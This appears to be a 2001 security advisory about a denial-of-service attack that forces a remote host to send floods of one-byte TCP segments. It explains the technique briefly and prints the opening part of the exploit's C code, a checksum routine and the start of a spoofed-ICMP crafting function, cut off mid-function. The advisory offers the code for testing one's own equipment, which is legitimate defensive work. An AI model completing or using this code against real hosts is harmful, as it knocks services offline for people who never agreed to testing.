Exploit Code Released for the Small MSS Denial of Service
20 Jul. 2001
Summary
Maximum Segment Size (MSS) value represents the largest chunk of data that TCP will send to the other end. Since this is controlled by the initiating socket (the computer that connected to the remote host), an attackers can set the MSS size to a very small value. For example if an attacker sets the value of MSS to 1, it will cause the remote host to send back a large amount of packets with each containing just one byte of information (about 3989% overhead, 58876 bytes sent back, for 1436 bytes of data requested).
The following is an exploit code that allows administrators to test their equipment and software for the mentioned vulnerability.
u_short
in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum),
* we add sequential 16 bit words to it, and at the end, fold
* back all the carry bits from the top 16 bits into the lower
* 16 bits.
*/
while( nleft > 1 ) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if( nleft == 1 ) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/*
* add back carry outs from top 16 bits to low 16 bits
*/
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}
int icmp_unreach(src, dst)
struct sockaddr_in *src, *dst;
{
static int donecksum = 0;
struct sockaddr_in dest;
struct tcphdr *tcp;
struct icmp *icmp;
int i, rc;
u_short sum;
icmp = (struct icmp *)icmpbuf;
prepare_icmp(dst);
icmp->icmp_ip.ip_dst = src->sin_addr;
sum = in_cksum((u_short *)&icmp->icmp_ip, sizeof(struct ip));
icmp->icmp_ip.ip_sum = sum;